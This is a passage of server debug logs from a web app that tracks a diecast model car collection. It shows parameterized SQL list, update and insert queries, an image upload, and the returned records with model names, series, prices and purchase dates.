      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:08:06.710Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:08:06.710Z server-connect:app Executing action step identify
2026-02-03T13:08:06.710Z server-connect:app options: { provider: 'security' }
2026-02-03T13:08:06.711Z server-connect:output identity: 1
2026-02-03T13:08:06.711Z server-connect:app Executing action step restrict
2026-02-03T13:08:06.711Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:08:06.711Z server-connect:output restrict: undefined
2026-02-03T13:08:06.711Z server-connect:app Executing action step condition
2026-02-03T13:08:06.711Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:08:06.712Z server-connect:app Executing action step update
2026-02-03T13:08:06.712Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:08:06.713Z server-connect:output update: { affected: 1 }
2026-02-03T13:08:06.713Z server-connect:app Executing action step upload
2026-02-03T13:08:06.713Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:08:06.713Z server-connect:output upload_image: []
2026-02-03T13:08:06.713Z server-connect:app Executing action step repeat
2026-02-03T13:08:06.713Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-03T13:08:06.713Z server-connect:output repeat_images: []
2026-02-03T13:08:06.713Z server-connect:output condition: undefined
2026-02-03T13:08:06.905Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:08:06.905Z server-connect:app Executing action step identify
2026-02-03T13:08:06.905Z server-connect:app options: { provider: 'security' }
2026-02-03T13:08:06.905Z server-connect:output identity: 1
2026-02-03T13:08:06.905Z server-connect:app Executing action step restrict
2026-02-03T13:08:06.905Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:08:06.906Z server-connect:output restrict: undefined
2026-02-03T13:08:06.906Z server-connect:app Executing action step paged
2026-02-03T13:08:06.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:08:06.908Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 118,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:09:00.114Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:09:00.114Z server-connect:app Executing action step identify
2026-02-03T13:09:00.114Z server-connect:app options: { provider: 'security' }
2026-02-03T13:09:00.114Z server-connect:output identity: 1
2026-02-03T13:09:00.114Z server-connect:app Executing action step restrict
2026-02-03T13:09:00.115Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:09:00.115Z server-connect:output restrict: undefined
2026-02-03T13:09:00.115Z server-connect:app Executing action step condition
2026-02-03T13:09:00.115Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:09:00.115Z server-connect:app Executing action step insert
2026-02-03T13:09:00.116Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:09:00.117Z server-connect:output insert: { affected: 1, identity: 137 }
2026-02-03T13:09:00.117Z server-connect:app Executing action step condition
2026-02-03T13:09:00.117Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:09:00.117Z server-connect:app Executing action step upload
2026-02-03T13:09:00.117Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:09:00.117Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:09:00.117Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:09:00.117Z server-connect:upload Processing file: {
  name: 'ID061895_XNaZnHMye5EJ.jpg',
  data: <Buffer >,
  size: 85271,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-4-20378841770124140112',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: 'aba5b1c53b3a68c451a8607acb0440d8',
  mv: [Function: mv]
}
2026-02-03T13:09:00.118Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID061895_XNaZnHMye5EJ_e6f011e1-57b4-451d-921e-df92982bc741.jpg',
  rel: 'public/assets/images/diecast/ID061895_XNaZnHMye5EJ_e6f011e1-57b4-451d-921e-df92982bc741.jpg'
}
2026-02-03T13:09:00.118Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID061895_XNaZnHMye5EJ_e6f011e1-57b4-451d-921e-df92982bc741.jpg',
  rel: 'assets/images/diecast/ID061895_XNaZnHMye5EJ_e6f011e1-57b4-451d-921e-df92982bc741.jpg'
}
2026-02-03T13:09:00.118Z server-connect:output upload_image: [
  {
    name: 'ID061895_XNaZnHMye5EJ_e6f011e1-57b4-451d-921e-df92982bc741.jpg',
    path: '/public/assets/images/diecast/ID061895_XNaZnHMye5EJ_e6f011e1-57b4-451d-921e-df92982bc741.jpg',
    url: '/assets/images/diecast/ID061895_XNaZnHMye5EJ_e6f011e1-57b4-451d-921e-df92982bc741.jpg',
    type: 'image/jpeg',
    size: 85271
  }
]
2026-02-03T13:09:00.118Z server-connect:app Executing action step repeat
2026-02-03T13:09:00.118Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:09:00.118Z server-connect:app Executing action step insert
2026-02-03T13:09:00.118Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:09:00.120Z server-connect:output images: { affected: 1, identity: 155 }
2026-02-03T13:09:00.120Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:09:00.120Z server-connect:output condition: undefined
2026-02-03T13:09:00.120Z server-connect:output condition: undefined
2026-02-03T13:09:00.337Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:09:00.338Z server-connect:app Executing action step identify
2026-02-03T13:09:00.338Z server-connect:app options: { provider: 'security' }
2026-02-03T13:09:00.338Z server-connect:output identity: 1
2026-02-03T13:09:00.338Z server-connect:app Executing action step restrict
2026-02-03T13:09:00.338Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:09:00.338Z server-connect:output restrict: undefined
2026-02-03T13:09:00.338Z server-connect:app Executing action step paged
2026-02-03T13:09:00.338Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:09:00.347Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 119,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 137,
      model_name: '68 Dodge Dart',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
